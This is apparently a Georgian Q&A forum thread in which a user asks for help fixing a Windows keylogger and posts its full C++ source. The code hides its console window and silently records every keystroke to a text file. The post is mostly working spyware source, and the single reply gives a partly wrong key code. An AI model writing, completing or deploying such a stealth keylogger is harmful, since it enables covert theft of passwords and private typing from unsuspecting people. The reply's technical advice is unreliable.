• საიტის წესები
    Answers.ge-ზე დარეგისტრირება არის უფასო და ნებაყოფლობითი. თუკი თქვენ დარეგისტრირდებით ამ საიტზე ეს ნიშნავს, რომ...
    ვრცლად

KEYLOGGER დამეხმარეთ გთხოვთ ვინმე!!

მოკლედ ასეთი პრობლემა შემექმნა.. აღიქვამს მხოლოდ ასოებს და ციფრებს, სხვა ღილაკებს არა.. წერტილი ვერ გამოვიტანე... :( სრული კოდი ყოველი შემთხვევისთვის:

#include <iostream>
#include <windows.h>
#include <Winuser.h>
#include <fstream>

using namespace std;

void log();
void hide();

int main()
{
hide();
log();
return 0;
}

void log()
{
char key;

for (;;)
{
for (key = 8; key <= 222; key++)
{
if (GetAsyncKeyState(key) == -32767)
{
ofstream write("Record.txt", ios::app);

if ((key>64) && (key<91) && !(GetAsyncKeyState(0x10)))
{
key += 32;
write << key;
write.close();
break;
}
else if ((key>64) && (key<91))
{
write << key;
write.close();
break;
}
else
{
switch (key)
{
case 47:
{
if (GetAsyncKeyState(0x10))
write << "?";
else
write << "/";
}
case 48:
{
if (GetAsyncKeyState(0x10))
write << ")";
else
write << "0";
}
break;
case 49:
{
if (GetAsyncKeyState(0x10))
write << "!";
else
write << "1";
}
break;
case 50:
{
if (GetAsyncKeyState(0x10))
write << "@";
else
write << "2";
}
break;
case 51:
{
if (GetAsyncKeyState(0x10))
write << "#";
else write << "3";
}
break;
case 52:
{
if (GetAsyncKeyState(0x10))
write << "$";
else
write << "4";
}
break;
case 53:
{
if (GetAsyncKeyState(0x10))
write << "%";
else
write << "5";
}
break;
case 54:
{
if (GetAsyncKeyState(0x10))
write << "^";
else
write << "6";
}
break;
case 55:
{
if (GetAsyncKeyState(0x10))
write << "&";
else
write << "7";
}
break;
case 56:
{
if (GetAsyncKeyState(0x10))
write << "*";
else
write << "8";
}
break;
case 57:
{
if (GetAsyncKeyState(0x10))
write << "(";
else
write << "9";
}
break;
case VK_SUBTRACT:
write << "/";
case VK_SPACE:
write << " ";
break;
case VK_RETURN:
write << "\n";
break;
case VK_TAB:
write << " ";
break;
case VK_BACK:
write << "<BackSpace>";
break;
case VK_ESCAPE:
write << "<Esc>";
break;
case VK_DELETE:
write << "<Delete>";
break;
}
}
}
}
}
}

void hide()
{
HWND stealth;
AllocConsole();
stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(stealth, 0);
}
9 თვის წინ 100 მონახულება
1R4KL1 1R4KL1
3
საინტერესოა
Follow
პასუხი
1 პასუხი
  • VK_DECIMAL ეს სიმბოლური კოდია კლავიატურის რიგით 109 კლავიშია WinAPI-ის მიხედვით და თუ გინდა 16 ბიტიანი კოდით გამოიტანო მაშინ 0x6D ეს გამოიყენე..
    0
    0

პასუხის გასაცემად გთხოვთ გაიაროთ ავტორიზაცია.



კითხვა მომხმარებელი
Top მომხმარებლები
7 ქულა
5 ქულა
4 ქულა
4 ქულა
4 ქულა
3 ქულა
3 ქულა
3 ქულა
2 ქულა
2 ქულა